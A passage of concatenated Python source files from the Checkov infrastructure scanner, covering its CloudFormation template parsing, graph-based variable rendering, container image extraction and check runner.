'vertex_index': edge.origin, 'attribute_key': edge.label, 'attribute_value': evaluated_value, 'change_origin_id': changed_origin_id, 'attribute_at_dest': attribute_at_dest }) else: # failed to evaluate an edge break if len(evaluated_edges) == len(edge_list): # succeeded in evaluation all of the edges for evaluated_edge in evaluated_edges: self.local_graph.update_vertex_attribute( vertex_index=evaluated_edge['vertex_index'], attribute_key=evaluated_edge['attribute_key'], attribute_value=evaluated_edge['attribute_value'], change_origin_id=evaluated_edge['change_origin_id'], attribute_at_dest=evaluated_edge['attribute_at_dest'] ) def _evaluate_cfn_function( self, edge: Edge, origin_vertex: Block, cfn_evaluation_function: str, val_to_eval: dict[str, Any], dest_vertex_attributes: dict[str, Any], ) -> tuple[str | None, int | None, str | None]: (evaluated_value, changed_origin_id, attribute_at_dest) = (None, None, None) if cfn_evaluation_function == ConditionFunctions.IF: # We evaluate Fn::IF differently from Ref, GetAtt, FindInMap, Sub evaluated_value, evaluated_value_hierarchy = self._evaluate_if_connection( val_to_eval[ConditionFunctions.IF], dest_vertex_attributes) if evaluated_value and evaluated_value_hierarchy: evaluated_value_hierarchy = f'{edge.label}.{ConditionFunctions.IF}.{evaluated_value_hierarchy}' changed_attribute = origin_vertex.changed_attributes.get(evaluated_value_hierarchy, None) (attribute_at_dest, changed_origin_id) = \ (changed_attribute[0].attribute_key, changed_attribute[0].vertex_id)\ if isinstance(changed_attribute, list) and len(changed_attribute) == 1\ else (None, None) else: # Ref, GetAtt, FindInMap, Sub evaluation evaluated_value, attribute_at_dest = self.edge_evaluation_methods[cfn_evaluation_function]( val_to_eval[cfn_evaluation_function], dest_vertex_attributes) changed_origin_id = edge.dest return evaluated_value, changed_origin_id, attribute_at_dest def evaluate_non_rendered_values(self) -> None: for vertex in self.local_graph.vertices: vertex_attributes = pickle_deepcopy(vertex.attributes) for attr_key, attr_value in vertex_attributes.items(): self._handle_sub_with_pseudo_param(attr_key, attr_value, vertex) @staticmethod def _handle_sub_with_pseudo_param(attr_key: str, attr_value: Any, vertex: CloudformationBlock) -> None: """ Pseudo Parameter in CFN is a parameter which is dynamically available (see reference). As we do not render it on buildtime, we want to handle this case by keeping the reference itself without the value, so we can at least build a semi-full resource. https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/pseudo-parameter-reference.html """ if isinstance(attr_value, dict) and IntrinsicFunctions.SUB in attr_value: inner_value = attr_value[IntrinsicFunctions.SUB] is_pseudo_param_in_value = any([p.value for p in PseudoParameters if p.value in inner_value]) if isinstance(inner_value, (str, StrNode)): try: inner_value = json.loads(inner_value) except Exception as e: logging.debug(f"[Cloudformation_evaluate_non_rendered_values]- " f"Inner_value - {inner_value} is not a valid json. " f"Full exception - {str(e)}") if is_pseudo_param_in_value: vertex.update_attribute( attribute_key=attr_key, attribute_value=inner_value, change_origin_id=None, previous_breadcrumbs=[], attribute_at_dest=None ) ================================================ FILE: checkov/cloudformation/graph_builder/variable_rendering/vertex_reference.py ================================================ from __future__ import annotations from checkov.common.graph.graph_builder.variable_rendering.vertex_reference import VertexReference from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType class CloudformationVertexReference(VertexReference): def __init__(self, block_type: str, sub_parts: list[str], origin_value: str) -> None: super().__init__(block_type, sub_parts, origin_value) @staticmethod def block_type_str_to_enum(block_type_str: str) -> str: return BlockType().get(block_type_str) ================================================ FILE: checkov/cloudformation/graph_manager.py ================================================ from __future__ import annotations import json import logging from typing import List, Dict, Optional, Tuple, TYPE_CHECKING, Any from checkov.cloudformation.cfn_utils import get_folder_definitions from checkov.cloudformation.context_parser import ContextParser from checkov.cloudformation.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions from checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_manager import GraphManager if TYPE_CHECKING: from checkov.common.typing import LibraryGraphConnector class CloudformationGraphManager(GraphManager[CloudformationLocalGraph, "dict[str, dict[str, Any]]"]): def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.CLOUDFORMATION) -> None: super().__init__(db_connector=db_connector, parser=None, source=source) def build_graph_from_source_directory( self, source_dir: str, local_graph_class: type[CloudformationLocalGraph] = CloudformationLocalGraph, render_variables: bool = True, parsing_errors: Optional[Dict[str, Exception]] = None, download_external_modules: Optional[bool] = False, excluded_paths: Optional[List[str]] = None, **kwargs: Any, ) -> Tuple[CloudformationLocalGraph, dict[str, dict[str, Any]]]: logging.info(f"[CloudformationGraphManager] Parsing files in source dir {source_dir}") parsing_errors = {} if parsing_errors is None else parsing_errors definitions, definitions_raw = get_folder_definitions(source_dir, excluded_paths, parsing_errors) # type:ignore[arg-type] local_graph = self.build_graph_from_definitions(definitions, render_variables) rendered_definitions, _ = convert_graph_vertices_to_definitions(local_graph.vertices, source_dir) # TODO: replace with real graph rendering for cf_file in rendered_definitions.keys(): file_definition = rendered_definitions.get(cf_file, None) file_definition_raw = definitions_raw.get(cf_file, None) if file_definition is not None and file_definition_raw is not None: cf_context_parser = ContextParser(cf_file, file_definition, file_definition_raw) logging.debug( f"Template Dump for {cf_file}: {json.dumps(file_definition, indent=2, default=str)}" ) cf_context_parser.evaluate_default_refs() return local_graph, rendered_definitions def build_graph_from_definitions( self, definitions: dict[str, dict[str, Any]], render_variables: bool = True ) -> CloudformationLocalGraph: local_graph = CloudformationLocalGraph(definitions, source=self.source) local_graph.build_graph(render_variables=render_variables) return local_graph ================================================ FILE: checkov/cloudformation/image_referencer/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/image_referencer/base_provider.py ================================================ from __future__ import annotations import os from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.images.graph.image_referencer_provider import GraphImageReferencerProvider from checkov.common.images.image_referencer import Image from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.str_utils import removeprefix class BaseCloudFormationProvider(GraphImageReferencerProvider): def extract_images_from_resources(self) -> list[Image]: images = [] supported_resources_graph = self.extract_nodes() for resource in self.extract_resource(supported_resources_graph): image_names: list[str] = [] resource_type = resource[CustomAttributes.RESOURCE_TYPE] extract_images_func = self.supported_resource_types.get(resource_type) if extract_images_func: image_names.extend(extract_images_func(resource)) for name in image_names: images.append( Image( file_path=resource[CustomAttributes.FILE_PATH], name=name, start_line=resource[START_LINE], end_line=resource[END_LINE], related_resource_id=f'{removeprefix(resource.get("file_path_", ""), os.getenv("BC_ROOT_DIR", ""))}:{resource.get("id_")}', ) ) return images ================================================ FILE: checkov/cloudformation/image_referencer/manager.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.cloudformation.image_referencer.provider.aws import AwsCloudFormationProvider from checkov.common.images.graph.image_referencer_manager import GraphImageReferencerManager if TYPE_CHECKING: from checkov.common.images.image_referencer import Image class CloudFormationImageReferencerManager(GraphImageReferencerManager): def extract_images_from_resources(self) -> list[Image]: aws_provider = AwsCloudFormationProvider(graph_connector=self.graph_connector) images = aws_provider.extract_images_from_resources() return images ================================================ FILE: checkov/cloudformation/image_referencer/provider/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/image_referencer/provider/aws.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.cloudformation.image_referencer.base_provider import BaseCloudFormationProvider from checkov.common.util.data_structures_utils import find_in_dict from checkov.common.util.type_forcers import extract_json if TYPE_CHECKING: from networkx import DiGraph class AwsCloudFormationProvider(BaseCloudFormationProvider): def __init__(self, graph_connector: DiGraph) -> None: super().__init__( graph_connector=graph_connector, supported_resource_types=SUPPORTED_AWS_IMAGE_RESOURCE_TYPES, ) def extract_images_from_aws_apprunner_service(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] image_repo = find_in_dict(input_dict=resource, key_path="SourceConfiguration/ImageRepository") if isinstance(image_repo, dict): repo_type = image_repo.get("ImageRepositoryType") name = image_repo.get("ImageIdentifier") if name and isinstance(name, str) and repo_type == "ECR_PUBLIC": image_names.append(name) return image_names def extract_images_from_aws_batch_job_definition(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] properties = extract_json(resource.get("ContainerProperties")) if isinstance(properties, dict): name = properties.get("Image") if name and isinstance(name, str): image_names.append(name) node_range = find_in_dict(input_dict=resource, key_path="NodeProperties/NodeRangeProperties") if isinstance(node_range, list): for node in node_range: name = find_in_dict(input_dict=node, key_path="Container/Image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_aws_codebuild_project(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] name = find_in_dict(input_dict=resource, key_path="Environment/Image") if name and isinstance(name, str): # AWS provided images have an internal identifier if not name.startswith("aws/codebuild/"): image_names.append(name) return image_names def extract_images_from_aws_ecs_task_definition(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] definitions = extract_json(resource.get("ContainerDefinitions")) if isinstance(definitions, list): for definition in definitions: name = definition.get("Image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_aws_lightsail_container_service_deployment_version(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] containers = find_in_dict(input_dict=resource, key_path="ContainerServiceDeployment/Containers") if isinstance(containers, list): for container in containers: name = container.get("Image") if name and isinstance(name, str): image_names.append(name) return image_names def extract_images_from_aws_sagemaker_image_version(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] image_name = find_in_dict(input_dict=resource, key_path="BaseImage") if image_name and isinstance(image_name, str): image_names.append(image_name) return image_names def extract_images_from_aws_sagemaker_model(resource: dict[str, Any]) -> list[str]: image_names: list[str] = [] image_name = find_in_dict(input_dict=resource, key_path="PrimaryContainer/Image") if image_name and isinstance(image_name, str): image_names.append(image_name) containers = find_in_dict(input_dict=resource, key_path="Containers") if isinstance(containers, list): for container in containers: name = container.get("Image") if name and isinstance(name, str): image_names.append(name) return image_names # needs to be at the bottom to add the defined functions SUPPORTED_AWS_IMAGE_RESOURCE_TYPES = { "AWS::AppRunner::Service": extract_images_from_aws_apprunner_service, "AWS::Batch::JobDefinition": extract_images_from_aws_batch_job_definition, "AWS::CodeBuild::Project": extract_images_from_aws_codebuild_project, "AWS::ECS::TaskDefinition": extract_images_from_aws_ecs_task_definition, "AWS::Lightsail::Container": extract_images_from_aws_lightsail_container_service_deployment_version, "AWS::SageMaker::ImageVersion": extract_images_from_aws_sagemaker_image_version, "AWS::SageMaker::Model": extract_images_from_aws_sagemaker_model, } ================================================ FILE: checkov/cloudformation/parser/__init__.py ================================================ from __future__ import annotations import logging from typing import Dict, Optional, Any from checkov.cloudformation.parser import cfn_yaml from checkov.common.parsers.json import parse as json_parse from checkov.cloudformation.parser.cfn_keywords import TemplateSections from yaml.scanner import ScannerError from yaml import YAMLError from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger LOGGER = logging.getLogger(__name__) add_resource_code_filter_to_logger(LOGGER) def parse( filename: str, out_parsing_errors: Optional[Dict[str, str]] = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | tuple[None, None]: """ Decode filename into an object """ template: "dict[str, Any] | list[dict[str, Any]] | None" = None template_lines = None error = None if out_parsing_errors is None: out_parsing_errors = {} try: (template, template_lines) = cfn_yaml.load(filename, cfn_yaml.ContentType.CFN) except FileNotFoundError as e: error = f'Template file not found: {e.filename}' LOGGER.error(error) except IsADirectoryError as e: error = f'Template references a directory, not a file: {e.filename}' LOGGER.error(error) except PermissionError as e: error = f'Permission denied when accessing {e.filename}' LOGGER.error(error) except UnicodeDecodeError as err: error = f"Cannot read file contents: {filename} - {err}" LOGGER.error(error) except cfn_yaml.CfnParseError as err: if "Null value at" in err.message: LOGGER.info(f"Null values do not exist in CFN templates: {filename} - {err}") return None, None error = f"Parsing error in file: {filename} - {err}" LOGGER.info(error) except ValueError as err: error = f"Parsing error in file: {filename} - {err}" LOGGER.info(error) except ScannerError as err: if err.problem in ["found character '\\t' that cannot start any token", "found unknown escape character"]: try: result = json_parse(filename, allow_nulls=False) if result: template, template_lines = result except Exception as json_err: # pylint: disable=W0703 error = f"Template {filename} is malformed: {err.problem}. Tried to parse {filename} as JSON but got error: {json_err}" LOGGER.info(error) except YAMLError as err: if hasattr(err, 'problem') and err.problem in ["expected ',' or '}', but got ''"]: try: result = json_parse(filename, allow_nulls=False) if result: template, template_lines = result except Exception as json_err: # pylint: disable=W0703 error = f"Template {filename} is malformed: {err.problem}. Tried to parse {filename} as JSON but got error: {json_err}" LOGGER.info(error) else: error = f"Parsing error in file: {filename} - {err}" LOGGER.info(error) if error: out_parsing_errors[filename] = error if isinstance(template, dict): resources = template.get(TemplateSections.RESOURCES.value, None) if resources and isinstance(resources, dict): if '__file__' in resources: del resources['__file__'] if "__startline__" in resources: del resources["__startline__"] if "__endline__" in resources: del resources["__endline__"] if template is None or template_lines is None: return None, None return template, template_lines ================================================ FILE: checkov/cloudformation/parser/cfn_keywords.py ================================================ from dataclasses import dataclass from enum import Enum @dataclass class IntrinsicFunctions: BASE64 = "Fn::Base64" CIDR = "Fn::Cidr" FIND_IN_MAP = "Fn::FindInMap" GET_ATT = "Fn::GetAtt" GET_AZS = "Fn::GetAZs" IMPORT_VALUE = "Fn::ImportValue" JOIN = "Fn::Join" SELECT = "Fn::Select" SPLIT = "Fn::Split" SUB = "Fn::Sub" TRANSFORM = "Fn::Transform" REF = "Ref" CONDITION = "Condition" @dataclass class ConditionFunctions: AND = "Fn::And" EQUALS = "Fn::Equals" IF = "Fn::If" NOT = "Fn::Not" OR = "Fn::Or" @dataclass class ResourceAttributes: CREATION_POLICY = "CreationPolicy" DELETION_POLICY = "DeletionPolicy" DEPENDS_ON = "DependsOn" METADATA = "Metadata" UPDATE_POLICY = "UpdatePolicy" UPDATE_REPLACE_POLICY = "UpdateReplacePolicy" class TemplateSections(str, Enum): RESOURCES = "Resources" METADATA = "Metadata" PARAMETERS = "Parameters" RULES = "Rules" MAPPINGS = "Mappings" CONDITIONS = "Conditions" TRANSFORM = "Transform" OUTPUTS = "Outputs" GLOBALS = "Globals" class PseudoParameters(Enum): ACCOUNT_ID = "AWS::AccountId" NOTIFICATION_ARNS = "AWS::NotificationARNs" NO_VALUE = "AWS::NoValue" PARTITION = "AWS::Partition" REGION = "AWS::Region" STACK_ID = "AWS::StackId" STACK_NAME = "AWS::StackName" URL_SUFFIX = "AWS::URLSuffix" ================================================ FILE: checkov/cloudformation/parser/cfn_yaml.py ================================================ """ Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. SPDX-License-Identifier: MIT-0 """ from __future__ import annotations import json import logging import platform import re from collections.abc import Hashable from enum import Enum from pathlib import Path from typing import Any, TYPE_CHECKING, NoReturn, Callable from yaml import MappingNode, ScalarNode, SequenceNode from yaml.composer import Composer from yaml.constructor import ConstructorError, SafeConstructor from yaml.reader import Reader from yaml.resolver import Resolver from yaml.scanner import Scanner from yaml.error import MarkedYAMLError, YAMLError from charset_normalizer import from_path from checkov.common.parsers.json.decoder import SimpleDecoder from checkov.common.parsers.node import StrNode, DictNode, ListNode from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.consts import MAX_IAC_FILE_SIZE from checkov.common.util.file_utils import read_file_with_any_encoding try: from yaml.cyaml import CParser as Parser # type:ignore[attr-defined] cyaml = True except ImportError: from yaml.parser import Parser # type:ignore[assignment] cyaml = False if TYPE_CHECKING: from yaml import Node UNCONVERTED_SUFFIXES = ['Ref', 'Condition'] FN_PREFIX = 'Fn::' LOGGER = logging.getLogger(__name__) add_resource_code_filter_to_logger(LOGGER) class ContentType(str, Enum): CFN = "CFN" SLS = "SLS" TFPLAN = "TFPLAN" class CfnParseError(ConstructorError): """ Error thrown when the template contains Cfn Error """ def __init__(self, filename: str, message: str, line_number: int, column_number: int) -> None: # Call the base class constructor with the parameters it needs super(CfnParseError, self).__init__(message) # Now for your custom code... self.filename = filename self.line_number = line_number self.column_number = column_number self.message = message class NodeConstructor(SafeConstructor): """ Node Constructors for loading different types in Yaml """ def __init__(self, filename: str, content_type: ContentType | None = None) -> None: # Call the base class constructor super().__init__() self.add_constructor( # type:ignore[type-var] u'tag:yaml.org,2002:map', NodeConstructor.construct_yaml_map, ) self.add_constructor( # type:ignore[type-var] u'tag:yaml.org,2002:str', NodeConstructor.construct_yaml_str, ) self.add_constructor( # type:ignore[type-var] u'tag:yaml.org,2002:seq', NodeConstructor.construct_yaml_seq, ) if content_type != ContentType.TFPLAN: NodeConstructor.add_constructor( # type:ignore[type-var] u'tag:yaml.org,2002:null', NodeConstructor.construct_yaml_null_error, ) self.filename = filename self.files_loaded: dict[Path, bool] = {} # To support lazy loading, the original constructors first yield # an empty object, then fill them in when iterated. Due to # laziness we omit this behaviour (and will only do "deep # construction") by first exhausting iterators, then yielding # copies. def construct_yaml_map(self, node: MappingNode) -> DictNode: # Check for duplicate keys on the current level, this is not desirable # because a dict does not support this. It overwrites it with the last # occurrence, which can give unexpected results mapping = {} self.flatten_mapping(node) for key_node, value_node in node.value: key = self.construct_object(key_node, False) # type:ignore[no-untyped-call] value = self.construct_object(value_node, False) # type:ignore[no-untyped-call] try: if isinstance(key, dict): key = frozenset(key.keys()), frozenset(key.values()) if isinstance(key, list): key = frozenset(key) except TypeError: raise CfnParseError( filename=self.filename, message=f'Unable to construct key {key} (line {key_node.start_mark.line + 1})', line_number=key_node.start_mark.line, column_number=key_node.start_mark.column, ) from None if key in mapping: raise CfnParseError( filename=self.filename, message=f'Duplicate resource found "{key}" (line {key_node.start_mark.line + 1})', line_number=key_node.start_mark.line, column_number=key_node.start_mark.column, ) mapping[key] = value obj, = SafeConstructor.construct_yaml_map(self, node) # type:ignore[no-untyped-call] return DictNode(obj, node.start_mark, node.end_mark) def construct_yaml_str(self, node: ScalarNode) -> StrNode: obj = SafeConstructor.construct_yaml_str(self, node) # type:ignore[no-untyped-call] assert isinstance(obj, str) # nosec return StrNode(obj, node.start_mark, node.end_mark) def mark_with_filename(self, root: Node | None, filename: str) -> None: if not root: return setattr(root, 'filename', filename) # noqa: B010 if isinstance(root, SequenceNode): for v in root.value: self.mark_with_filename(v, filename) if isinstance(root, MappingNode): for k, v in root.value: self.mark_with_filename(k, filename) self.mark_with_filename(v, filename) def construct_yaml_seq(self, node: SequenceNode) -> ListNode: # Handle serverless file() expansions on SequenceNode if isinstance(node.value, list) and len(node.value) > 0: for i, v in enumerate(node.value): if not isinstance(v, ScalarNode) or not isinstance(node.value[i].value, str): continue m = re.match(r'\$\{file\((.+\.ya?ml)\)\}$', v.value) if m is None: continue path = (Path(self.filename).parent / m[1]).resolve() if path in self.files_loaded: raise CfnParseError( filename=node.filename if hasattr(node, 'filename') else self.filename, message=f'Circular include of {m[1]}', line_number=node.start_mark.line, column_number=node.start_mark.column ) else: self.files_loaded[path] = True content = read_file_with_any_encoding(file_path=path) node.value[i] = MarkedLoader(content, m[1], None).get_single_node() self.mark_with_filename(node.value[i], m[1]) obj, = SafeConstructor.construct_yaml_seq(self, node) # type:ignore[no-untyped-call] assert isinstance(obj, list) # nosec return ListNode(obj, node.start_mark, node.end_mark) # nosec def construct_yaml_null_error(self, node: Node) -> NoReturn: """Throw a null error""" raise CfnParseError( filename=node.filename if hasattr(node, 'filename') else self.filename, message=f"Null value at line {node.start_mark.line + 1} column {node.start_mark.column + 1}", line_number=node.start_mark.line, column_number=node.start_mark.column, ) class MarkedLoader(Reader, Scanner, Parser, Composer, NodeConstructor, Resolver): """ Class for marked loading YAML """ # pylint: disable=non-parent-init-called,super-init-not-called def __init__(self, stream: str, filename: str, content_type: ContentType | None = None) -> None: Reader.__init__(self, stream) Scanner.__init__(self) if cyaml: Parser.__init__(self, stream) else: Parser.__init__(self) # type:ignore[call-arg] # cyaml checks if it is the normal or C version Composer.__init__(self) SafeConstructor.__init__(self) Resolver.__init__(self) NodeConstructor.__init__(self, filename, content_type) def construct_mapping(self, node: MappingNode, deep: bool = False) -> dict[Hashable, Any]: mapping = super(MarkedLoader, self).construct_mapping(node, deep=deep) # Add 1 so line numbering starts at 1 mapping['__file__'] = node.filename if hasattr(node, 'filename') else self.filename mapping['__startline__'] = node.start_mark.line + 1 mapping['__endline__'] = node.end_mark.line + 1 return mapping def multi_constructor(loader: MarkedLoader, tag_suffix: str, node: ScalarNode) -> DictNode: """ Deal with !Ref style function format """ constructor: Callable[[ScalarNode], Any] if tag_suffix not in UNCONVERTED_SUFFIXES: tag_suffix = f"{FN_PREFIX}{tag_suffix}" if tag_suffix == 'Fn::GetAtt': constructor = construct_getatt elif tag_suffix == "Ref" and (isinstance(node.value, list) or isinstance(node.value, dict)): raise CfnParseError( filename=node.filename if hasattr(node, 'filename') else loader.filename, message='Invalid !Ref: {}'.format(node.value), line_number=0, column_number=0) elif isinstance(node, ScalarNode): constructor = loader.construct_scalar elif isinstance(node, SequenceNode): constructor = loader.construct_sequence elif isinstance(node, MappingNode): constructor = loader.construct_mapping else: raise 'Bad tag: !{}'.format(tag_suffix) return DictNode({tag_suffix: constructor(node)}, node.start_mark, node.end_mark) def construct_getatt(node: ScalarNode) -> ListNode: """ Reconstruct !GetAtt into a list """ if isinstance(node.value, str): return ListNode(node.value.split('.'), node.start_mark, node.end_mark) if isinstance(node.value, list): return ListNode([s.value for s in node.value], node.start_mark, node.end_mark) raise ValueError('Unexpected node type: {}'.format(type(node.value))) def loads(yaml_string: str, fname: str, content_type: ContentType | None = None) -> DictNode | dict[str, Any]: """ Load the given YAML string """ if len(yaml_string) == 0: return {} loader = MarkedLoader(yaml_string, fname, content_type) loader.add_multi_constructor('!', multi_constructor) # type:ignore[no-untyped-call] try: template: "DictNode | dict[str, Any]" = loader.get_single_data() if template is None: return {} return template except MarkedYAMLError as e: logging.error(f'YAML error parsing {fname}: {e}') if e.problem and e.problem_mark: raise CfnParseError( filename=fname, message=e.problem, line_number=e.problem_mark.line, column_number=e.problem_mark.column) from e else: raise CfnParseError(filename=fname, message=str(e), line_number=0, column_number=0) from e except YAMLError as e: logging.error(f'YAML error parsing {fname}: {e}') raise CfnParseError(filename=fname, message=str(e), line_number=0, column_number=0) from e def load(filename: str | Path, content_type: ContentType | None) -> tuple[dict[str, Any], list[tuple[int, str]]]: """ Load the given YAML file """ file_path = filename if isinstance(filename, Path) else Path(filename) if platform.system() == "Windows": try: content = str(from_path(file_path).best()) except UnicodeDecodeError as e: LOGGER.error(f"Encoding for file {file_path} could not be detected or read. Please try encoding the file as UTF-8.") raise e else: content = read_file_with_any_encoding(file_path=file_path) if content_type == ContentType.CFN and "Resources" not in content: logging.debug(f'File {file_path} is expected to be a CFN template but has no Resources attribute') return {}, [] elif content_type == ContentType.SLS and "provider" not in content: logging.debug(f'File {file_path} is expected to be an SLS template but has no provider attribute') return {}, [] elif content_type == ContentType.TFPLAN and "planned_values" not in content: logging.debug(f'File {file_path} is expected to be a TFPLAN file but has no planned_values attribute') return {}, [] file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))] if file_path.suffix == ".json": file_size = len(content) if file_size > MAX_IAC_FILE_SIZE: # large JSON files take too much time, when parsed with `pyyaml`, compared to a normal 'json.loads()' # with start/end line numbers of 0 takes only a few seconds logging.info( f"File {file_path} has a size of {file_size} which is bigger than the supported 50mb, " "therefore file lines will default to 0." "This limit can be adjusted via the environment variable 'CHECKOV_MAX_IAC_FILE_SIZE'." ) return json.loads(content, cls=SimpleDecoder), file_lines return loads(content, str(filename), content_type), file_lines ================================================ FILE: checkov/cloudformation/runner.py ================================================ from __future__ import annotations import json import logging import os from typing import Type, Any, TYPE_CHECKING from typing_extensions import TypeAlias # noqa[TC002] from checkov.cloudformation import cfn_utils from checkov.cloudformation.cfn_utils import create_definitions, build_definitions_context from checkov.cloudformation.checks.resource.registry import cfn_registry from checkov.cloudformation.context_parser import ContextParser from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions from checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph from checkov.cloudformation.graph_manager import CloudformationGraphManager from checkov.cloudformation.image_referencer.manager import CloudFormationImageReferencerManager from checkov.cloudformation.parser.cfn_keywords import TemplateSections from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.graph.checks_infra.registry import BaseRegistry from checkov.common.models.enums import CheckResult from checkov.common.typing import LibraryGraphConnector from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.images.image_referencer import ImageReferencerMixin from checkov.common.output.extra_resource import ExtraResource from checkov.common.output.graph_record import GraphRecord from checkov.common.output.record import Record from checkov.common.output.report import Report, merge_reports, CheckType from checkov.common.runners.base_runner import BaseRunner from checkov.common.util.secrets import omit_secret_value_from_checks from checkov.runner_filter import RunnerFilter if TYPE_CHECKING: from networkx import DiGraph from checkov.common.checks_infra.registry import Registry from checkov.common.images.image_referencer import Image _CloudformationContext: TypeAlias = "dict[str, dict[str, Any]]" _CloudformationDefinitions: TypeAlias = "dict[str, dict[str, Any]]" class Runner(ImageReferencerMixin[None], BaseRunner[_CloudformationDefinitions, _CloudformationContext, CloudformationGraphManager]): check_type = CheckType.CLOUDFORMATION # noqa: CCE003 # a static attribute def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.CLOUDFORMATION, graph_class: Type[CloudformationLocalGraph] = CloudformationLocalGraph, graph_manager: CloudformationGraphManager | None = None, external_registries: list[BaseRegistry] | None = None ) -> None: super().__init__(file_extensions=['.json', '.yml', '.yaml', '.template']) db_connector = db_connector or self.db_connector self.external_registries = [] if external_registries is None else external_registries self.graph_class = graph_class self.graph_manager: CloudformationGraphManager = ( graph_manager if graph_manager is not None else CloudformationGraphManager(source=source, db_connector=db_connector) ) self.context: _CloudformationContext = {} self.definitions: _CloudformationDefinitions = {} self.definitions_raw: "dict[str, list[tuple[int, str]]]" = {} self.graph_registry: "Registry" = get_graph_checks_registry(self.check_type) def run( self, root_folder: str | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) parsing_errors: dict[str, str] = {} if self.context is None or self.definitions is None or self.breadcrumbs is None: self.definitions, self.definitions_raw = create_definitions(root_folder, files, runner_filter, parsing_errors) report.add_parsing_errors(list(parsing_errors.keys())) if external_checks_dir: for directory in external_checks_dir: cfn_registry.load_external_checks(directory) self.graph_registry.load_external_checks(directory) self.context = build_definitions_context(self.definitions, self.definitions_raw) logging.info("creating CloudFormation graph") local_graph = self.graph_manager.build_graph_from_definitions(self.definitions) logging.info("Successfully created CloudFormation graph") for vertex in local_graph.vertices: if vertex.block_type == BlockType.RESOURCE: report.add_resource(f'{vertex.path}:{vertex.id}') self.graph_manager.save_graph(local_graph) self.definitions, self.breadcrumbs = convert_graph_vertices_to_definitions( vertices=local_graph.vertices, root_folder=root_folder, ) # TODO: replace with real graph rendering for cf_file in self.definitions.keys(): file_definition = self.definitions.get(cf_file, None) file_definition_raw = self.definitions_raw.get(cf_file, None) if file_definition is not None and file_definition_raw is not None: cf_context_parser = ContextParser(cf_file, file_definition, file_definition_raw) logging.debug( "Template Dump for {}: {}".format(cf_file, json.dumps(file_definition, indent=2, default=str)) ) cf_context_parser.evaluate_default_refs() self.pbar.initiate(len(self.definitions)) # run checks self.check_definitions(root_folder, runner_filter, report) # run graph checks graph_report = self.get_graph_checks_report(root_folder, runner_filter) merge_reports(report, graph_report) if runner_filter.run_image_referencer: if files: # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form root_folder = os.path.split(os.path.commonprefix(files))[0] image_report = self.check_container_image_references( graph_connector=self.graph_manager.get_reader_endpoint(), root_path=root_folder, runner_filter=runner_filter, ) if image_report: # due too many tests failing only return a list, if there is an image report return [report, image_report] return report def check_definitions(self, root_folder: str | None, runner_filter: RunnerFilter, report: Report) -> None: for file_abs_path, definition in self.definitions.items(): cf_file = f"/{os.path.relpath(file_abs_path, root_folder)}" self.pbar.set_additional_data({'Current File Scanned': cf_file}) if isinstance(definition, dict) and TemplateSections.RESOURCES in definition.keys(): for resource_name, resource in definition[TemplateSections.RESOURCES].items(): resource_id = ContextParser.extract_cf_resource_id(resource, resource_name) # check that the resource can be parsed as a CF resource if resource_id: resource_context = self.context[file_abs_path][TemplateSections.RESOURCES][resource_name] entity_lines_range = [resource_context['start_line'], resource_context['end_line']] entity_code_lines = resource_context['code_lines'] if entity_lines_range and entity_code_lines: # TODO - Variable Eval Message! variable_evaluations: "dict[str, Any]" = {} skipped_checks = resource_context.get("skipped_checks") entity = {resource_name: resource} results = cfn_registry.scan(cf_file, entity, skipped_checks, runner_filter) tags = cfn_utils.get_resource_tags(entity) if results: for check, check_result in results.items(): censored_code_lines = omit_secret_value_from_checks( check=check, check_result=check_result, entity_code_lines=entity_code_lines, entity_config=resource, resource_attributes_to_omit=runner_filter.resource_attr_to_omit ) record = Record( check_id=check.id, bc_check_id=check.bc_id, check_name=check.name, check_result=check_result, code_block=censored_code_lines, file_path=cf_file, file_line_range=entity_lines_range, resource=resource_id, evaluations=variable_evaluations, check_class=check.__class__.__module__, file_abs_path=file_abs_path, entity_tags=tags, severity=check.severity ) if self.breadcrumbs: breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource) if breadcrumb: record = GraphRecord(record, breadcrumb) record.set_guideline(check.guideline) report.add_record(record=record) else: # resources without checks, but not existing ones report.extra_resources.add( ExtraResource( file_abs_path=str(file_abs_path), file_path=cf_file, resource=resource_id, ) ) self.pbar.update() self.pbar.close() def get_graph_checks_report(self, root_folder: str | None, runner_filter: RunnerFilter) -> Report: report = Report(self.check_type) checks_results = 